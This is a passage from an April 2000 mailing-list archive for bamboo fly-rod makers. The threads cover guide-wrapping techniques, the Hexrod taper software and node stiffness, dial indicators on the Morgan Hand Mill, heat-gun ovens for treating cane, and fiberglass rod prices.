past. Hope this helps,Harry --Harry Boydhttp://HarryBoydbamboorods.eboard.com/ from ernie2@pacbell.net Tue Apr 25 10:36:42 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: Re: Fiberglass Gold I made a fiberglass Fenwick Ferruite with Fuji single foot guides. It wasmade when fiberglass was in it's prime, just before graphite came along..It is a great old rod and I have fished many rivers with it. Jim Greene dida good job. The 8 foot 6 weight blank cost $20 and the rest of thecomponents were another $20. If I had known what a great rod it wouldmakeI would have bought a dozen blanks.Ernie ----- Original Message ----- Subject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if you knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I was lucky enough toattend an informal discussion Per Brandin put together in which Jim wasthe featured guest. Needless to say it was an enlightening afternoon.If I were a collector, I would keep and eye out for the old Fenwicks.--Regards, Chris Wohlfordemail: chris@artistree.com from maxs@geocities.co.jp Tue Apr 25 10:42:18 2000 (8.9.3+3.2W/3.7W) with ESMTP id AAA14058; Wed, 26 Apr 2000 00:42:13+0900 (JST) mail.geocities.co.jp (1.3G-GeocitiesJ-3.3)with SMTP id AAA13522; Wed, 26 Apr 2000 00:42:11 +0900 (JST) Subject: RE: Bamboo as material Frank, Thank you for the information of process assumption in Hexrod program.Hexrod is a great program to have theoritical characteristics of a plannedrod. Clamping is an easier method to use the initial 60 degree form thanputtingbolts.Thank you for improving Slash. Max Max, I agree with your reasoning that the closer-spaced nodes towardthe butt end of the cane will tend to make that part of therod proportionately stiffer. I have also read that some buildersmake their rods using the culm in reverse, using the culm butt density rather than nodes, though.) All the Hexrod programs I have seen make a lot of what we call"simplifying assumptions", and one of these assumption is that thecane is a uniform raw material with a certain modulus. That isthe assumption Garrison made and we all follow it. Ideally someonewould do serious scientific study of all these issues. But until thenits best to think of Hexrod as a tool that helps us see the roddimensions in a new and sometimes useful way. strip at 60 degrees. I liked it so much I built a version which clampsshut by using levers or toggles instead of bolts.......................................................................Frank Stetzer "...a cheerful comrade is betterstetzer@uwm.edu than a waterproof coat and aEmployed by, but not speaking for foot-warmer." Henry Van Dyke,Univ of Wisconsin-Milwaukee, USA "Fisherman's Luck", 1899. On Mon, 24 Apr 2000, Maxrodcraft wrote: Hello, This topics might have been discussed already.Please forgive me if so, as I still have recent 2700 post messages inincoming mail box which I haven't read yet. Most of us are using Hexrod or equivalent software to acquire necessaryrodtapers to build a rod.As it is known, butt portion of a bamboo cane has more nodes and lessattipportion.It means that the strips for tip section and the ones for butt sectionhavedifferent stiffness andelasticity, as a material. My question is,When you manupilate such taper software, are you considering thedifferenceof stiffness ofbamboo material? Or, are you adjusting the taper somehow thisdifferenceoftip and butt strips when making a rod?Or, taking both of tip and butt strips from the same hights (part) of abamboo cane? Otherwise, I guess that a built bamboo rod may have always stiffer buttsection than culculated or expected. Is this right? Does Hexrod program have some feature about the difference ofcharacteristics of bamboo elasticity? Any suggestion and opinion is appreciated. Thank you. Max Max Rod Craft - an oriental Bamboo Fly Rod MakerParsonal: maxs@geocities.co.jpMRC : mrc@mars.plala.or.jpHome Page:Max Rod Craft: http://members.tripod.com/maxrodParsonal: http://www.geocities.co.jp/Athlete-Acropolis/2169 from maxs@geocities.co.jp Tue Apr 25 10:42:25 2000 (8.9.3+3.2W/3.7W) with ESMTP id AAA14075; Wed, 26 Apr 2000 00:42:16+0900 (JST) mail.geocities.co.jp (1.3G-GeocitiesJ-3.3)with SMTP id AAA13587; Wed, 26 Apr 2000 00:42:14 +0900 (JST) Subject: RE: Bamboo as material Ernie, As for the nodes, everyone is manupilating the stiffness of node portion bystaggaring them around the blank, except for nodeless rods, as well asmanupilatingthickness of dimension.Isn't that the way of trying to the material as even as possible through arod? Thanks, Max That is an interesting observation Max. I don't think anyone tries toduplicate the number of nodes in the taper. The density of the powerfiberswould also influence the rod stiffness. Of course there is no way toduplicate this with nodeless rod construction. I have never read anythingabout the old masters even looking at the number of nodes. They did saveculm to make future rod repairs. I think they were more concerned withbamboo diameter and power fibers.Ernie ----- Original Message -----From: "Maxrodcraft" Sent: Sunday, April 23, 2000 10:23 PMSubject: Bamboo as material Hello, This topics might have been discussed already.Please forgive me if so, as I still have recent 2700 post messages inincoming mail box which I haven't read yet. Most of us are using Hexrod or equivalent software to acquire necessaryrodtapers to build a rod.As it is known, butt portion of a bamboo cane has more nodes and lessattipportion.It means that the strips for tip section and the ones for butt sectionhavedifferent stiffness andelasticity, as a material. My question is,When you manupilate such taper software, are you considering thedifferenceof stiffness ofbamboo material? Or, are you adjusting the taper somehow thisdifferenceoftip and butt strips when making a rod?Or, taking both of tip and butt strips from the same hights (part) of abamboo cane? Otherwise, I guess that a built bamboo rod may have always stiffer buttsection than culculated or expected. Is this right? Does Hexrod program have some feature about the difference ofcharacteristics of bamboo elasticity? Any suggestion and opinion is appreciated. Thank you. Max Max Rod Craft - an oriental Bamboo Fly Rod MakerParsonal: maxs@geocities.co.jpMRC : mrc@mars.plala.or.jpHome Page:Max Rod Craft: http://members.tripod.com/maxrodParsonal: http://www.geocities.co.jp/Athlete-Acropolis/2169 from maxs@geocities.co.jp Tue Apr 25 10:42:37 2000 (8.9.3+3.2W/3.7W) with ESMTP id AAA14063; Wed, 26 Apr 2000 00:42:14+0900 (JST) mail.geocities.co.jp (1.3G-GeocitiesJ-3.3)with SMTP id AAA13567; Wed, 26 Apr 2000 00:42:13 +0900 (JST) Subject: RE: Bamboo as material Tom, The effect of an extra node section, minor variations in canequality, heat treating, glue, etc. all may be felt, but are negligiblecompared to thickness variations. If we can compare two rods which have the same taper, one is nodelessthe other is ordinal rod with nodes, we would be able to get the answer,wouldn't we? I have stated here before that there is no real substitute forcasting rods and hoarding tapers. The guys I know who are good at roddesigning all do that, and build a bunch of rods as well. I can completely agree with you about this.Hexrod is a nice planning aid and I love it. But it is hard to know theactual stress value of thebuilt rod according to the plan.We can only satisfy ourselves by casting the rod instead. Thanks, Max from kbuch@mail.stlnet.com Tue Apr 25 10:45:42 2000 Subject: Re: Winding pressure for guides Harry, Any chance that the thread is shrinking as it dries? Similar to wettingleather to stretch it, so that it will shrink as it dries. This shouldallow for a tighter finished wrap. Kevin from TSmithwick@aol.com Tue Apr 25 10:46:01 2000 Subject: Re: Winding pressure for guides Lots on good ideas on this topic. I intend to try both the cut after varnish trick and the wet thread. What I have always done, both with narrow trim bands and with intermediates is cut the tag end with a razor as close as possible, and then tuck it under the wraps with a needle point. I won't sayI have never untied one that way, but if you use enough pressure on thewraps it holds most of the time. It might work better with the damp thread idea.On a trim band, of course, this only works with the tag end that is away from the main wraps. from fbcwin@3g.quik.com Tue Apr 25 11:09:15 2000 Tue, 25 Apr 2000 09:09:12 -0700 Subject: Re: Winding pressure for guides "Kevin M. Buchanan" wrote: Any chance that the thread is shrinking as it dries? Similar to wettingleather to stretch it, so that it will shrink as it dries. This shouldallow for a tighter finished wrap. Could be, Kevin -- but I kind of doubt it. Silk thread doesn't stretchmuch, even when wet.Harry from darrell@rockclimbing.org Tue Apr 25 11:12:38 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: RE: Fiberglass Gold Here's a Phillipson glass rod currently on ebay for sale at $810 and thereserve has not yet bee met! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=315386116 This rod above is apparently a new rod built by Ricks Rods... Which sort ofgoes against the conventional wisdom of older is more... I can onlyattribute the price to the "free hat"... 8^) Unfortunately, searches on completed auctions can only search the titles.And ebay has cut off the amount of time that solds remain available to beaccessed so I'm afraid those sales are lost. I wonder how much Rick wants for his glass blanks now? Darrellwww.vfish.net -----Original Message----- Subject: Re: Fiberglass Gold I have to agree the price is a bit high for those rods. But if you knowyour fly rod history you'll also know that Fenwick under the directionof Jim Green were pioneers in fiberglass fly rods. I was lucky enough toattend an informal discussion Per Brandin put together in which Jim wasthe featured guest. Needless to say it was an enlightening afternoon.If I were a collector, I would keep and eye out for the old Fenwicks.--Regards, Chris Wohlfordemail: chris@artistree.com from darrell@rockclimbing.org Tue Apr 25 11:12:39 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: RE: Winding pressure for guides Also keep in mind that too much pressure can cause the wraps to break...I've owned several WM Grangers that the wraps have just split on theirown... I can only attribute it to excessive tension as I've seen the wrapssplit on the signature wraps where there was no guide or hook keeper sothere was not any sort of pressure being applied to the wrap... Of course,50+ years has gone by so I suppose we're all safe from wraps popping... Darrellwww.vfish.net -----Original Message----- TSmithwick@aol.com Subject: Re: Winding pressure for guides Lots on good ideas on this topic. I intend to try both the cut after varnishtrick and the wet thread. What I have always done, both with narrow trimbands and with intermediates is cut the tag end with a razor as close aspossible, and then tuck it under the wraps with a needle point. I won't sayIhave never untied one that way, but if you use enough pressure on thewrapsit holds most of the time. It might work better with the damp thread idea.Ona trim band, of course, this only works with the tag end that is away fromthe main wraps. from bob@downandacross.com Tue Apr 25 11:37:36 2000 (envelope- from bob@downandacross.com) (envelope- from bob@downandacross.com) Subject: Dial Indicators/Hand Mill Since I started this, I would just like to clear some things up. Some people have sent me correspondence that made me feel like I wascriticizing the Hand Mill when I asked about using my own dial indicator. Some others did make posts about the quality of the gauge. My original post was not about that at all. It was about using a gauge that I enjoy using. I really love the Mill so far. As for the indicator, I just would like to use the one I have been using all along. Whether Tom's is said by others to be cheap or not, I have used it with good results so far. I am sure, however, that it is not as good or as easy to use as the $125 digital Mitutoyo. I don't know that people would want to add $125 to the Hand Mill to get the upgrade, but I am sure that Tom would consider it. The Hand Mill is well made and well worth the price to me. Aren't all things that are well made a bit more expensive? Tom is a fantastic guyand his staff is most helpful. My .02, with best regards,Bob Maulucci==================================================downandacross.combob@downandacross.com from sniderja@email.uc.edu Tue Apr 25 11:42:03 2000 Subject: Re: Winding pressure for guides Heck, and here I thought good old fashioned "spit" was my secret! Neverthought to move on up to water. Thanks, Harry. At 09:51 AM 04/25/2000 -0500, Harry Boyd wrote:"Harsanyi, Andrew" wrote: On a slightly different topic....how DO you do tipping with only 3 or4 wraps? I have done 5 or six using Pearsall's Gossamer, which stillmakes the tipping fairly narrow, but wonder how it can be done withfewer wraps. Andy Andy,In my experience, the trick to small trim bands is good oldwater. If you wet the thread before wrapping those trim bands, thethreadseems to grip much better. Russ Gooding recommends distilled water,butI'm a little lazy and have had no problems with water straight from thetap. I just set a glass of water next to me on the table, dip my fingersin it, and touch my fingers to about 6 inches of thread between the spooland the rod.I tried the trick published in Rodmakers magazine where you wrapover your finger and the rod, then pull the tag end through with a crochetneedle, but with my clumsy fingers it takes longer. Each trim band takesless than a minute to wrap, start to finish.One more thing; as soon as the water evaporates, I hit the wrapwith either thinned lacquer or thinned varnish, depending on whether Iwant to preserve the colors. It's amazing how much better thosevarnishedwraps hold! Usually that means within an hour or so of completing thetrim wraps on a section I have a coat of something on them. Oh yeah, Idon't trim any of the tag ends until the first coat of color preserver orvarnish dries. Little bumps and stick-ups are a thing of the past. Hope this helps,Harry --Harry Boydhttp://HarryBoydbamboorods.eboard.com/ from sniderja@email.uc.edu Tue Apr 25 11:46:51 2000 andrew_harsanyi@ibi.com Subject: RE: Winding pressure for guides Yes, excellent point, Darrell. However, would this likely be a problem juston tipping wraps?J. Snider At 09:05 AM 04/25/2000 -0700, Darrell A. Lee wrote: Also keep in mind that too much pressure can cause the wraps to break...I've owned several WM Grangers that the wraps have just split on theirown... I can only attribute it to excessive tension as I've seen the wrapssplit on the signature wraps where there was no guide or hook keeper sothere was not any sort of pressure being applied to the wrap... Of course,50+ years has gone by so I suppose we're all safe from wraps popping... Darrellwww.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu TSmithwick@aol.comSent: Tuesday, April 25, 2000 8:45 AM Cc: rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Lots on good ideas on this topic. I intend to try both the cut after varnishtrick and the wet thread. What I have always done, both with narrow trimbands and with intermediates is cut the tag end with a razor as close aspossible, and then tuck it under the wraps with a needle point. I won't sayIhave never untied one that way, but if you use enough pressure on thewrapsit holds most of the time. It might work better with the damp thread Ona trim band, of course, this only works with the tag end that is awayfromthe main wraps. from mcdowellc@lanecc.edu Tue Apr 25 11:47:22 2000 9:53:50 PDT Subject: Re: Winding pressure for guides I've wet silk for some of the finer signature wraps. As Harry said itreally helps the thread grip itself and stay together. However, as he mentions,you must put a coat of something on it before it completely dries. It won't shrink as it dries, but actually expands a little, and if you don't have it coated it will more likely unravel as it will be loose. Chris------------------Original text Harry, Any chance that the thread is shrinking as it dries? Similar to wettingleather to stretch it, so that it will shrink as it dries. This shouldallow for a tighter finished wrap. Kevin from DNHayashida@aol.com Tue Apr 25 11:48:30 2000 Subject: Reality Check - Morgan Mill Indicator Guys,Look at what is being measured and how it is gettingmeasured. Zero the indicator, then press down on theplaning unit. Zero the indicator when it is cold,then turn your house heater on. Watch it change. Whenyou do your planing, is at the same temperature, samehumidity all the time? The dial indicator is as good or better than it needsto be. Darryl from FlyfishT@aol.com Tue Apr 25 11:48:31 2000 Subject: Re: RE: Winding pressure for guides rodmakers@wugate.wustl.edu Andy,Another trick you might try wetting the thread with water works for me. Regards, Tom from mcdowellc@lanecc.edu Tue Apr 25 11:59:19 2000 10:06:15 PDT Subject: Re: Winding pressure for guides I do the same thing as Tom, only I use the dull side corner of the same single edge razor blade to tuck under the closely shaved tag end. I wrap the tipping separate from but very close to the guide wrap so I do this procedure to both tag threads and then snug the wrap up against the mainwrap with my fingernail. Another thing to remember with number of turns for tipping is that thread size plays the biggest roll. 3 turns of size A is about 6+ turns of 6/0, so if you need more turns to hold the tipping together, use a smaller thread size. If you can get away with 3-4 turns then size 3/0 will make for a small, refined trim wrap. Chris---------- Original Text ---------- Lots on good ideas on this topic. I intend to try both the cut after varnish trick and the wet thread. What I have always done, both with narrow trim bands and with intermediates is cut the tag end with a razor as close as possible, and then tuck it under the wraps with a needle point. I won't sayI have never untied one that way, but if you use enough pressure on thewraps it holds most of the time. It might work better with the damp thread idea.On a trim band, of course, this only works with the tag end that is away from the main wraps. from FlyfishT@aol.com Tue Apr 25 12:15:52 2000 Subject: Re: Re: longevity of actively used bamboo rods. GROMBACHERA@phibred.com,rodmakers@wugate.wustl.edu Ray, If the Orvis test was true as much as i fish the rod would lose it in a year and a half.( I have my priority's right) Here's a thought the Orvis strips are sawn and the power fibers run off the sides that could be a factor? Regards, Tom n. from bob@downandacross.com Tue Apr 25 12:35:57 2000 (envelope- from bob@downandacross.com) (envelope- from bob@downandacross.com) Subject: Re: Reality Check - Morgan Mill Indicator Hi Darryl:I am sure it is good enough, as I said in my post today.Let's drop the slam the indicator thread. I thought I just apologized for the confusion. Sorry.Bob At 12:47 PM 4/25/00 -0400, you wrote: Guys,Look at what is being measured and how it is gettingmeasured. Zero the indicator, then press down on theplaning unit. Zero the indicator when it is cold,then turn your house heater on. Watch it change. Whenyou do your planing, is at the same temperature, samehumidity all the time? The dial indicator is as good or better than it needsto be. Darryl from GROMBACHERA@phibred.com Tue Apr 25 12:53:27 2000 Tue, 25 Apr 2000 13:52:57 -0400 Tue, 25 Apr 2000 13:52:27 -0400 Subject: RE: longevity of actively used bamboo rods. Reed and Folks, The fella that quoted the line to me is a graphite rod user. I typicallyremind him that he was the one who broke 4 rods last year (all graphites),and that all my bamboos are still the same length as the day they weremade(knock on wood). The fella thinks his rods are the cat's meow. He alsolikes to overline rods. His typically line used for grayling fishing is a 9or 10 (believe it or not). I always tell him that is you are throwing a 10weight line then the rod is a 10 weight too. The amazing thing about this fella is that he ties amazing flies. He likesfull dress salmon flies. He views rods only as tools, his rods fall in thesame category as his 32 oz. Estwing roofing hammer - a tool. I know he has A.J.'s big book (forget the title at the moment). I agreewith you about A.J.'s writing. He was always a great read, and he fished alot of fantastic places. I've broken some rods, 2 glass (a Fenwick and a Bonadonna) and 1 T@T.Maybe the Fenwick doesn't count, because I was trying to swat a deerflywithmy canoe paddle. It had been driving me crazy one day in the BWCA. I gotthe deerfly, and snapped that Fenwick clean in two! The Fenwick rod repgave me a replacement rod, because it was the first story about how a rodbroke that he actually believed. Alberta Al -----Original Message----- Subject: Re: longevity of actively used bamboo rods. Art,A.J. McClane, IMHO, the best fishing writer of the last century, had anabiding respect for a good cane rod; you have only to read the Fly Rodchapter of "The Practical Fly Fisherman", to see that. I'd be disappointedto see him writing as ascribed to him. Can we get chapter and verse onthat?Best regards,Reed from Oozakgpt@aol.com Tue Apr 25 13:01:45 2000 Subject: Airflow oven temperature Recently bought an airflow/heat gun with low setting of 707 Deg F andblower speed 400m/min.Have not run trials as I'm currently building myoven.Question being will it work for heat treating cane in an oven or should I consider buying another gun.I do have other uses for it. from KlingB@health.missouri.edu Tue Apr 25 13:02:57 2000 Subject: RE: Bamboo splitter You said "You would think for $2K you could get a digitalone," which is your opinion, not a "fact." Do you think the Mill is worth$2K as it comes? My opinion is that it's worth the money. Also I wasoffering actual information about the adequacy of the C-H-E-A-Pindicator.Mine is A-C-C-U-R-A-T-E. Didn't mean to offend you with the suggestionyouwere being over critical. BK -----Original Message----- Sent: Tuesday, April 25, 2000 9:38 AM rodmakers@wugate.wustl.eduSubject: RE: Bamboo splitter Barry, How can you say I am being "cynical" when I am justspeaking a FACT. The dial indicator that comes withthe Mill is extremely C-H-E-A-P. All I stated was for the $2K investment I wasdisappointed that the quality of the indicator was/isso poor. How can you dispute that statement ? --- "Kling, Barry W." wrote: I just compared the dial indicator that recentlycame with my hand millagainst a calibrated 1" Mitutoyo and it was right onthe money. Don't forgetit only has to be accurate over a relatively smallrange. I don't want tostart a fire but I really don't agree that the milldoesn't give good value.It's a truly elegant design and includes carefullymachined tools made insmall quantities. I have no connection to Tom Morgan(except as a customer)but I just hate to see a good thing knocked. I feelyou're doing somethingI'm often guilty of (and I really hate it when otherpeople steal my faults)- being cynical/critical as a reflex when it's notreally fair. Barry -----Original Message-----From: blue fin Sent: Saturday, April 22, 2000 6:32 PM rodmakers@wugate.wustl.eduSubject: Re: Bamboo splitter One of the downfalls of the Mill is that Tomprovidesyou with the cheapest possible dialindicatorknown tomankind. You would think for $2K you couldget adigital one. My 2 cents and a fact. B.F. --- bob maulucci wrote:Hi everyone:Two questions, please:1. Here are those splitters that Bob N.wastalkingabout. They look great. Would you recomend the 6 way or the 8 waysplitter.I was figuring on 6, then splitting again down to 24. http://www.hidatool.com/splitter_&_hatchet.htm 2. If I have a digital Mitutoyo depthgaugewith.5"movement, is there a way to increase this to 1" so I can use itonthemorgan Hand Mill. Someone mentioned they were doing this but Icannotfigurehow. Maybe they have a 1" movement gauge. Thanks, Bob Maulucci ==================================================downandacross.combob@downandacross.com __________________________________________________Do You Yahoo!?Send online invitations with Yahoo! Invites.http://invites.yahoo.com __________________________________________________Do You Yahoo!?Send online invitations with Yahoo! Invites.http://invites.yahoo.com from darrell@rockclimbing.org Tue Apr 25 13:19:44 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: RE: Winding pressure for guides Not likely on tipping since with such few winds you can't have the threadtohold the tag ends snug. I'm going to have to try that tip on applying a coat of lacquer beforecutting the tag ends... Darrellwww.vfish.net -----Original Message----- andrew_harsanyi@ibi.com Subject: RE: Winding pressure for guides Yes, excellent point, Darrell. However, would this likely be a problem juston tipping wraps?J. Snider At 09:05 AM 04/25/2000 -0700, Darrell A. Lee wrote: Also keep in mind that too much pressure can cause the wraps to break...I've owned several WM Grangers that the wraps have just split on theirown... I can only attribute it to excessive tension as I've seen the wrapssplit on the signature wraps where there was no guide or hook keeper sothere was not any sort of pressure being applied to the wrap... Of course,50+ years has gone by so I suppose we're all safe from wraps popping... Darrellwww.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu TSmithwick@aol.comSent: Tuesday, April 25, 2000 8:45 AM Cc: rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Lots on good ideas on this topic. I intend to try both the cut aftervarnishtrick and the wet thread. What I have always done, both with narrow trimbands and with intermediates is cut the tag end with a razor as close aspossible, and then tuck it under the wraps with a needle point. I won't sayIhave never untied one that way, but if you use enough pressure on thewrapsit holds most of the time. It might work better with the damp thread Ona trim band, of course, this only works with the tag end that is awayfromthe main wraps. from danny.twang@porsgrunnsdagblad.no Tue Apr 25 13:43:52 2000 "rodmakers@wugate.wustl.edu" Subject: Re: Winding pressure for guides Come on guys, its not that hard to get 3 windings with PearsallsGossamer..... Put in the loop (thin mono filament) and cross over the start tag with allthree windings, after pulling the end-tag through, grab the two tags and pull ittight.I've never tried to varnish a coat before cutting the tags, but its a good regardsdanny Darrell A. Lee wrote: Not likely on tipping since with such few winds you can't have the threadtohold the tag ends snug. I'm going to have to try that tip on applying a coat of lacquer beforecutting the tag ends... Darrellwww.vfish.net -----Original Message----- Sent: Tuesday, April 25, 2000 9:48 AM andrew_harsanyi@ibi.comCc: rodmakers@wugate.wustl.eduSubject: RE: Winding pressure for guides Yes, excellent point, Darrell. However, would this likely be a problemjuston tipping wraps?J. Snider At 09:05 AM 04/25/2000 -0700, Darrell A. Lee wrote: Also keep in mind that too much pressure can cause the wraps to break...I've owned several WM Grangers that the wraps have just split on theirown... I can only attribute it to excessive tension as I've seen the wrapssplit on the signature wraps where there was no guide or hook keeper sothere was not any sort of pressure being applied to the wrap... Ofcourse,50+ years has gone by so I suppose we're all safe from wraps popping... Darrellwww.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu TSmithwick@aol.comSent: Tuesday, April 25, 2000 8:45 AM Cc: rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Lots on good ideas on this topic. I intend to try both the cut aftervarnishtrick and the wet thread. What I have always done, both with narrowtrimbands and with intermediates is cut the tag end with a razor as close aspossible, and then tuck it under the wraps with a needle point. I won'tsayIhave never untied one that way, but if you use enough pressure on thewrapsit holds most of the time. It might work better with the damp thread Ona trim band, of course, this only works with the tag end that is awayfromthe main wraps. from steve@hamiltonrods.com Tue Apr 25 13:53:22 2000 codemarine.209.170.128.193 with SMTP (Microsoft ExchangeInternet Mail Service Version 5.5.2448.0) Subject: Re: Airflow oven temperature Assuming your oven is constructed such that the temperature of cane is ator near 350-400 degress you shouldbe fine. Since you'll have some heat loss as the oven reaches equilibrium,I'd be suprised if your oventemperature levels off at 707F, so you should be OK. You might want toconsider a construction that allows youto insert an oven thermometer to gauge the temp. --Steve ----- Original Message ----- Subject: Airflow oven temperature Recently bought an airflow/heat gun with low setting of 707 Deg F andblower speed 400m/min.Have not run trials as I'm currently building myoven.Question being will it work for heat treating cane in an oven or should I consider buying another gun.I do have other uses for it. from pmgoodwin@earthlink.net Tue Apr 25 14:19:49 2000 Subject: Re: Airflow oven temperature I built a heat gun powered oven a few nights ago. The test strips came outconsistant over a 6' length. I am going to run another few strips tonight tocheck the times vs color. I also want to pick up a stove thermometer (thekind for measuring the temperature of the exhaust stack on a wood stove)tosee just how hot it gets. I took pictures during the construction which I'll post pictures on my website late tonight or tomorrow if the TU meeting runs late. I'll also includea list of materials which all came fromthe local Home Depot. Paul ----- Original Message ----- Subject: Re: Airflow oven temperature Assuming your oven is constructed such that the temperature of cane isator near 350-400 degress you should be fine. Since you'll have some heatlossas the oven reaches equilibrium, I'd be suprised if your oven temperaturelevels off at 707F, so you should be OK. You might want to consider aconstruction that allows you to insert an oven thermometer to gauge thetemp. --Steve ----- Original Message -----From: Sent: Tuesday, April 25, 2000 2:01 PMSubject: Airflow oven temperature Recently bought an airflow/heat gun with low setting of 707 Deg F andblowerspeed 400m/min.Have not run trials as I'm currently building myoven.Questionbeing will it work for heat treating cane in an oven or should Iconsiderbuying another gun.I do have other uses for it. from chris@artistree.com Tue Apr 25 14:29:16 2000 Subject: Bamboo & Fiberglass Casting Tournament While we're on the topic of Bamboo & Fiberglass some might be interestedin the following event. The Golden Gate Angling & Casting Club will be holding a "Retro- castingTournament" at the Angler's Lodge & Casting Pools in Golden Gate Park, http://www.ggacc.org/ and click on the banner ad. All are welcome. There should be quite a few rods to try out and somelocal makers will be attending as well. Hope to see you there!-- Regards, Chris Wohlfordemail: chris@artistree.com from rsgould@cmc.net Tue Apr 25 15:48:30 2000 Subject: Re: Rattan Handle Grips Hi Paul,Yes the ratan is wound over a preshaped underbody.It is either anchored orglued at the ends.Suggest epoxy glue. Soften in hot water before applying.Reference book is "The Caners Handbook" by Miller and Widess.Ray--- -- Original Message ----- Subject: Rattan Handle Grips I have here a few questions for the 'list' re ratan and ratan grips; 1) Is the ratan overwound an underbody on the blank,say an under sizedcork handle shape or even a balsa handle shape ?2) Is the ratan glued to the under body as the ratan handle is wound inplace , and if so what adhesive is used ?3) Ratan as bought from an Art and Craft shop is quite 'springy'.How is the ratan softened before being used. Soaking in water wouldseema possibility ?4)Are there any references or literature sources on this subject thatanyone is aware of? Many thanks.........Paul B from dhaftel@att.com Tue Apr 25 16:36:45 2000 RAA08326; (8.8.8+Sun/ATTEMS-1.4.1 sol2) (5.5.2650.21) "'Rodmakers'" Subject: RE: Winding pressure for guides Another thing that will break thread off is sharp tags of metal on theguidefeet (ask me how I know!). If you're not careful about dressing the feetyou'll leave little burrs on them. Dennis -----Original Message----- Subject: RE: Winding pressure for guides Also keep in mind that too much pressure can cause the wraps to break...I've owned several WM Grangers that the wraps have just split on theirown... I can only attribute it to excessive tension as I've seen the wrapssplit on the signature wraps where there was no guide or hook keeper sothere was not any sort of pressure being applied to the wrap... Of course,50+ years has gone by so I suppose we're all safe from wraps popping... Darrellwww.vfish.net -----Original Message----- TSmithwick@aol.com Subject: Re: Winding pressure for guides Lots on good ideas on this topic. I intend to try both the cut after varnishtrick and the wet thread. What I have always done, both with narrow trimbands and with intermediates is cut the tag end with a razor as close aspossible, and then tuck it under the wraps with a needle point. I won't sayIhave never untied one that way, but if you use enough pressure on thewrapsit holds most of the time. It might work better with the damp thread idea.Ona trim band, of course, this only works with the tag end that is away fromthe main wraps. from nobler@satx.rr.com Tue Apr 25 16:50:41 2000 SMTPSVC(5.5.1877.357.35);Tue, 25 Apr 2000 16:38:27 -0500 Subject: Re: Winding pressure for guides boundary="----=_NextPart_000_0036_01BFAED6.C31AA180" This is a multi-part message in MIME format. ------=_NextPart_000_0036_01BFAED6.C31AA180 There's no question that silk will water shrink, as a fine cloth, as =used in silk scarf's, so why would the thread alone shrink ? GMA Sent: Tuesday, April 25, 2000 10:33 AMSubject: Re: Winding pressure for guides Harry, Any chance that the thread is shrinking as it dries? Similar to =wettingleather to stretch it, so that it will shrink as it dries. This shouldallow for a tighter finished wrap. Kevin ------=_NextPart_000_0036_01BFAED6.C31AA180 There's no question that silk will water shrink, as a fine = as used in silk scarf's, so why would the thread alone shrink =? GMA ----- Original Message ----- Buchanan Cc: andrew_harsanyi@ibi.com ; rodmakers@wugate.wustl.edu= Sent: Tuesday, April 25, 2000 = AMSubject: Re: Winding pressure = guidesHarry,Any chance that the thread is shrinking = wrap.Kevin ------=_NextPart_000_0036_01BFAED6.C31AA180-- from andrew_harsanyi@ibi.com Tue Apr 25 16:57:23 2000 0400 Subject: RE: Winding pressure for guides I for one appreciate all the great input on this topic...this is areal useful conversation to me, and most of you really gave someuseful tips. Thanks again.... -----Original Message----- Subject: Re: Winding pressure for guides Come on guys, its not that hard to get 3 windings with PearsallsGossamer..... Put in the loop (thin mono filament) and cross over the start tag withall three windings, after pulling the end-tag through, grab the two tags andpull ittight.I've never tried to varnish a coat before cutting the tags, but its agood idea. regardsdanny Darrell A. Lee wrote: Not likely on tipping since with such few winds you can't have thethread tohold the tag ends snug. I'm going to have to try that tip on applying a coat of lacquerbeforecutting the tag ends... Darrellwww.vfish.net -----Original Message----- Sent: Tuesday, April 25, 2000 9:48 AM fbcwin@3g.quik.com;andrew_harsanyi@ibi.comCc: rodmakers@wugate.wustl.eduSubject: RE: Winding pressure for guides Yes, excellent point, Darrell. However, would this likely be aproblem juston tipping wraps?J. Snider At 09:05 AM 04/25/2000 -0700, Darrell A. Lee wrote: Also keep in mind that too much pressure can cause the wraps tobreak...I've owned several WM Grangers that the wraps have just split ontheirown... I can only attribute it to excessive tension as I've seenthe wrapssplit on the signature wraps where there was no guide or hookkeeper sothere was not any sort of pressure being applied to the wrap... Ofcourse,50+ years has gone by so I suppose we're all safe from wrapspopping... Darrellwww.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu TSmithwick@aol.comSent: Tuesday, April 25, 2000 8:45 AM Cc: rodmakers@wugate.wustl.eduSubject: Re: Winding pressure for guides Lots on good ideas on this topic. I intend to try both the cutaftervarnishtrick and the wet thread. What I have always done, both with narrowtrimbands and with intermediates is cut the tag end with a razor asclose aspossible, and then tuck it under the wraps with a needle point. Iwon't sayIhave never untied one that way, but if you use enough pressure onthe wrapsit holds most of the time. It might work better with the dampthread idea.Ona trim band, of course, this only works with the tag end that isaway fromthe main wraps. from nobler@satx.rr.com Tue Apr 25 17:08:34 2000 SMTPSVC(5.5.1877.357.35);Tue, 25 Apr 2000 17:09:31 -0500 Subject: Re: Fiberglass Gold boundary="----=_NextPart_000_0050_01BFAED9.413CC0A0" This is a multi-part message in MIME format. ------=_NextPart_000_0050_01BFAED9.413CC0A0 To each his own ! GMA Sent: Tuesday, April 25, 2000 11:05 AMSubject: RE: Fiberglass Gold Here's a Phillipson glass rod currently on ebay for sale at $810 and =thereserve has not yet bee met! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=3D315386116 This rod above is apparently a new rod built by Ricks Rods... Which =sort ofgoes against the conventional wisdom of older is more... I can onlyattribute the price to the "free hat"... 8^) Unfortunately, searches on completed auctions can only search the =titles.And ebay has cut off the amount of time that solds remain available to =beaccessed so I'm afraid those sales are lost. I wonder how much Rick wants for his glass blanks now? Darrellwww.vfish.net -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Monday, 